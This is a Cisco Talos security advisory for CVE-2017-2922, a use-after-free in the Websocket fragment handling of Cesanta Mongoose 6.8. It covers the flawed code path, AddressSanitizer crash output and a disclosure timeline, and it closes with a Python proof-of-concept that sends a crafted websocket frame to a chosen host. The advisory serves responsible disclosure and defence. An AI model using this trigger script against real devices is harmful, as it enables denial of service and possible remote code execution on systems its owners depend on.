Headline
CVE-2017-2922: TALOS-2017-0429 || Cisco Talos Intelligence Group
An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause a buffer to be allocated while leaving stale pointers which leads to a use-after-free vulnerability which can be exploited to achieve remote code execution. An attacker needs to send a specially crafted websocket packet over the network to trigger this vulnerability.
Summary
An exploitable memory corruption vulnerability exists in the Websocket protocol implementation of Cesanta Mongoose 6.8. A specially crafted websocket packet can cause a buffer to be allocated while leaving stale pointers which leads to a use-after-free vulnerability which can be exploited to achieve remote code execution. An attacker needs to send a specially crafted websocket packet over network to trigger this vulnerability.
Tested Versions
Cesanta Mongoose 6.8
Product URLs
https://cesanta.com/
CVSSv3 Score
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-416: Use After Free
Details
Mongoose is a monolithic library implementing a number of networking protocols, including HTTP, MQTT, MDNS and others. It’s HTTP implementation includes upgrade support required for websocket applications. It is designed with embedded devices in mind and as such is used in many IoT devices and runs on virtually all platforms.
A websocket frame can be fragmented over multiple packets. Flags in the websocket header specify if the packet is fragmented and it’s order. When encountering a first frame fragment, a buffer reallocation causes several pointers to become invalid, but the code doesn’t invalidate or update them leading to potential use after free condition which can lead to further memory corruption.
In function mg_deliver_websocket_data
responsible for parsing the websocket packet we observe the following code:
if (reass) { [1]
/* On first fragmented frame, nullify size */
if (mg_is_ws_first_fragment(wsm.flags)) { [2]
mbuf_resize(&nc->recv_mbuf, nc->recv_mbuf.size + sizeof(*sizep)); [3]
p[0] &= ~0x0f; /* Next frames will be treated as continuation */ [4]
buf = p + 1 + sizeof(*sizep); [5]
*sizep = 0; /* TODO(lsm): fix. this can stomp over frame data */ [6]
}
/* Append this frame to the reassembled buffer */
memmove(buf, wsm.data, e - wsm.data); [7]
In the above code, if the packet is marked for reassembly (checked at [1]) and is first fragment (checked at [2]), receive buffer is resized at [3]. Function mbuf_resize
actually calls realloc
to resize the buffer. Calling realloc
on a buffer to resize it doesn’t guarantee that the same memory would be used, a different heap chunk can be chosen and original data would be copied there. This effectively makes old pointers - pointing to original buffer - invalid. In the above code, stale pointers are reused at [4],[5],[6] and [7] to do memory reads, writes and a memory copy. Pointers p
, buf
,e
,sizep and
wsm.data are all initialized based on original
nc->recv_mbuf` buffer at the beginning of the function:
static int mg_deliver_websocket_data(struct mg_connection *nc) {
/* Using unsigned char *, cause of integer arithmetic below */
uint64_t i, data_len = 0, frame_len = 0, buf_len = nc->recv_mbuf.len, len,
mask_len = 0, header_len = 0;
unsigned char *p = (unsigned char *) nc->recv_mbuf.buf, *buf = p,
*e = p + buf_len;
Calling realloc
won’t invalidate a pointer always but, in this case steps can be taken make that probability higher, like multiple simultaneous network connections. Not invalidating and updating pointers after realloc
leads to a use after free condition which can be abused to cause denial of service and ultimately remote code execution.
Crash Information
Address sanitizer output:
==88299==ERROR: AddressSanitizer: heap-use-after-free on address 0x619000005f80 at pc 0x00000051b1ee bp 0x7fffffffb490 sp
0x7fffffffb488
READ of size 1 at 0x619000005f80 thread T0
#0 0x51b1ed in mg_deliver_websocket_data /home/user/mongoose/examples/websocket_chat/../../mongoose.c:8874
#1 0x51b1ed in ?? ??:0
#2 0x5128d4 in mg_ws_handler /home/user/mongoose/examples/websocket_chat/../../mongoose.c:9045 (discriminator 1)
#3 0x5128d4 in ?? ??:0
#4 0x4f9de6 in mg_call /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2051
#5 0x4f9de6 in ?? ??:0
#6 0x4fdcf9 in mg_recv_common /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2502
#7 0x4fdcf9 in ?? ??:0
#8 0x506603 in mg_if_recv_tcp_cb /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2506
#9 0x506603 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3372
#10 0x506603 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497
#11 0x506603 in ?? ??:0
#12 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
#13 0x509dd8 in ?? ??:0
#14 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
#15 0x4fb695 in ?? ??:0
#16 0x4ea65a in main /home/user/mongoose/examples/websocket_chat/websocket_chat.c:78
#17 0x4ea65a in ?? ??:0
#18 0x7ffff6ee582f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
#19 0x7ffff6ee582f in ?? ??:0
#20 0x418e58 in _start ??:?
#21 0x418e58 in ?? ??:0
0x619000005f80 is located 0 bytes inside of 1024-byte region [0x619000005f80,0x619000006380)
freed by thread T0 here:
#0 0x4b9308 in realloc ??:?
#1 0x4b9308 in ?? ??:0
#2 0x4f0275 in mbuf_resize /home/user/mongoose/examples/websocket_chat/../../mongoose.c:1044 (discriminator 1)
#3 0x4f0275 in ?? ??:0
previously allocated by thread T0 here:
#0 0x4b8f88 in __interceptor_malloc ??:?
#1 0x4b8f88 in ?? ??:0
#2 0x506453 in mg_handle_tcp_read /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3336 (discriminator 1)
#3 0x506453 in mg_mgr_handle_conn /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3497 (discriminator 1)
#4 0x506453 in ?? ??:0
#5 0x509dd8 in mg_socket_if_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:3690
#6 0x509dd8 in ?? ??:0
#7 0x4fb695 in mg_mgr_poll /home/user/mongoose/examples/websocket_chat/../../mongoose.c:2232
#8 0x4fb695 in ?? ??:0
#4 0x60200000efef (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free (/home/user/mongoose/examples/websocket_chat/websocket_chat+0x51b1ed)
Shadow bytes around the buggy address:
0x0c327fff8ba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c327fff8bd0: 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c327fff8be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c327fff8bf0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8c00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8c10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8c20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8c30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c327fff8c40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==88299==ABORTING
Exploit Proof-of-Concept
import socket
import random
import struct
import sys
http_upgrade = ('GET /chat HTTP/1.1\r\n'
'Host: server.example.com\r\n'
'Upgrade: websocket\r\n'
'Connection: Upgrade\r\n'
'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
'Sec-WebSocket-Protocol: chat, superchat\r\n'
'Sec-WebSocket-Version: 13\r\n'
'Origin: http://example.com\r\n\r\n')
payload = "\x01" # need to pass two checks:
"""
static int mg_is_ws_fragment(unsigned char flags) {
return (flags & 0x80) == 0 || (flags & 0x0f) == 0;
}
static int mg_is_ws_first_fragment(unsigned char flags) {
return (flags & 0x80) == 0 && (flags & 0x0f) != 0;
}
payload += chr(0x00 | 50 ) # packet doesn't have to be masked, so we can ommit it, size doesn't matter
payload += "A"*(60+ random.randint(0,20000)) # rest of the packet doesn't matter
"""
append random length of garbage so it's a bit easier to trigger the realloc when runing without ASAN ,
valgrind, or libdislocator, otherwise ~60 is enough
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(http_upgrade)
print s.recv(1024)
s.send(payload)
Timeline
2017-08-30 - Vendor Disclosure
2017-10-31 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.